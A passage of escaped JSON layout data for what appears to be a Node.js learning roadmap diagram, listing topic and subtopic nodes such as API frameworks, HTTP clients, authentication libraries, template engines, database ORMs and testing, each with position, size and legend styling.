\"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.12962923010787,\n        \"y\": 1381.9416664638775\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NUoma-b5IJUuOssS3yut8\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -491.6296292301079,\n        \"y\": 1441.9416664638775\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Command line args\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -491.6296292301079,\n        \"y\": 1441.9416664638775\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"fFVCb6aZWRHdNDFt5C09R\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1258.2877525020792\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Building & Consuming APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ce-dP-OXu0mEm30rzp2hW\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1258.2877525020792\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1vq_KcYR_pkfp1MtXaL75\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1250.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Express.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1250.6567476363114\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WkU_rI4i-UmNSxb5F9TI-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1303.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"fastify\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1303.6567476363114\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tGD8XLHnfspfv8CbguGwV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1356.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NestJS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1356.6567476363114\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xa-lA1wbZ9JZ_XpXfhhw5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1409.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hono\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 53,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 53\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1409.6567476363114\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 53\n      }\n    },\n    {\n      \"id\": \"wyBsJ-NSYBS0QfPHPl0j7\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1473.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 121\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.39975778990492,\n        \"y\": 1473.6567476363114\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Sjc1YDtbzXyLQH711_3nj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1250.02072262127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"http module\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1250.02072262127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BOLiZg8YDKADMwP01U5ph\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1303.02072262127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"axios\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1303.02072262127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-_2letLUta5Ymc5eEOKhn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 428.73640589584414,\n        \"y\": 1303.02072262127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ky\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 95,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 428.73640589584414,\n        \"y\": 1303.02072262127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 95,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B_3rTGQxJneMREXoi2gQn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.36672552017444,\n        \"y\": 1357.02072262127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"fetch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.36672552017444,\n        \"y\": 1357.02072262127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6stiDKubT6XVAOGiJ6wsx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1410.02072262127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"got package\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1410.02072262127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oZIte_LbYlggtiOQWhroc\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 364.23640589584414,\n        \"y\": 1473.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Making API Calls\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 364.23640589584414,\n        \"y\": 1473.6567476363114\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7u2WMxjLx3mMtn0cha4M7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1086.063720703125\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"jsonwebtoken\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1086.063720703125\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mIyv6S9a5dCHkk-JhhjKV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1139.063720703125\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"passport.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.73640589584414,\n        \"y\": 1139.063720703125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aHmeIcvZGVF0SwZe4vuvz\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 374.23640589584414,\n        \"y\": 1197.02072262127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 374.23640589584414,\n        \"y\": 1197.02072262127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"swp4wBgA7z-sd64VDkMrw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1352.02072262127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Monitor Changes (Dev)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fFVCb6aZWRHdNDFt5C09R\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1352.02072262127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"812bVEzxwTsYzLG_PmLqN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.04484613528683,\n        \"y\": 1326.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"--watch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 83.04484613528683,\n        \"y\": 1326.6567476363114\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2Ym2jMvov0lZ79aJFaw29\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.04484613528683,\n        \"y\": 1379.6567476363114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"nodemon\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"812bVEzxwTsYzLG_PmLqN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 83.04484613528683,\n        \"y\": 1379.6567476363114\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J0ErCAZT5B97ZMogU2JHd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1503.1526950801597\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Template Engines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1503.1526950801597\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L-_N7OxxuHCXsdWYBgZGu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.68754841750314,\n        \"y\": 1450.1526950801597\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ejs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.68754841750314,\n        \"y\": 1450.1526950801597\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O67e2qyhxP5joR5LGyZ2N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.68754841750314,\n        \"y\": 1503.1526950801597\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"pug\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.68754841750314,\n        \"y\": 1503.1526950801597\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f2DyjBIglAZ6NoHaRnlzt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.68754841750314,\n        \"y\": 1556.1526950801597\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"marko\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.68754841750314,\n        \"y\": 1556.1526950801597\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5l-lZ8gwVLqqAF_n99vIO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1630.1526950801597\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working with Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -245.45968546864998,\n        \"y\": 1630.1526950801597\n      },\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NDf-o-WECK02mVnZ8IFxy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.6255644994952,\n        \"y\": 1516.0506125880281\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mongoose\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -511.6255644994952,\n        \"y\": 1516.0506125880281\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3Qxtf8n6gJYdnRsuqa52Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.6255644994952,\n        \"y\": 1569.0506125880281\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prisma\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -511.6255644994952,\n        \"y\": 1569.0506125880281\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5WqLm53CHDT5uBoMH-iPl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.6255644994952,\n        \"y\": 1622.0506125880281\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Native Drivers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -511.6255644994952,\n        \"y\": 1622.0506125880281\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mkQ4QoFyoneFCVmAanByl\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -462.1255644994952,\n        \"y\": 1682.0506125880281\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NoSQL DBs\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -462.1255644994952,\n        \"y\": 1682.0506125880281\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"HDDnt79_PCB5JU-KnHKUh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.169165402603,\n        \"y\": 1837.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Knex\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.169165402603,\n        \"y\": 1837.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JXQF9H4_N0rM7ZDKcCZNn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.169165402603,\n        \"y\": 1731.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Drizzle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.169165402603,\n        \"y\": 1731.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rk5FtAPDi1TpvWd0yBbtl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.169165402603,\n        \"y\": 1784.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TypeORM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.169165402603,\n        \"y\": 1784.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fOm-ktIaLqrmA0zln0Bga\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.169165402603,\n        \"y\": 1890.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sequelize\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.169165402603,\n        \"y\": 1890.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O7Cy2g_GPxKU6vPfEmNyi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.169165402603,\n        \"y\": 1943.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prisma\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.169165402603,\n        \"y\": 1943.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KpC-QYKalUp7VUvnMKBoW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.169165402603,\n        \"y\": 1996.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Native Drivers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.169165402603,\n        \"y\": 1996.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oz3NrL3JEsLiShfBRVJQG\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -454.66916540260297,\n        \"y\": 2056.2304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Relational\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -454.66916540260297,\n        \"y\": 2056.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"90NIFfbWjTbyKZKwyJlfI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 133.7763111160998,\n        \"y\": 1630.1526950801597\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5l-lZ8gwVLqqAF_n99vIO\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": 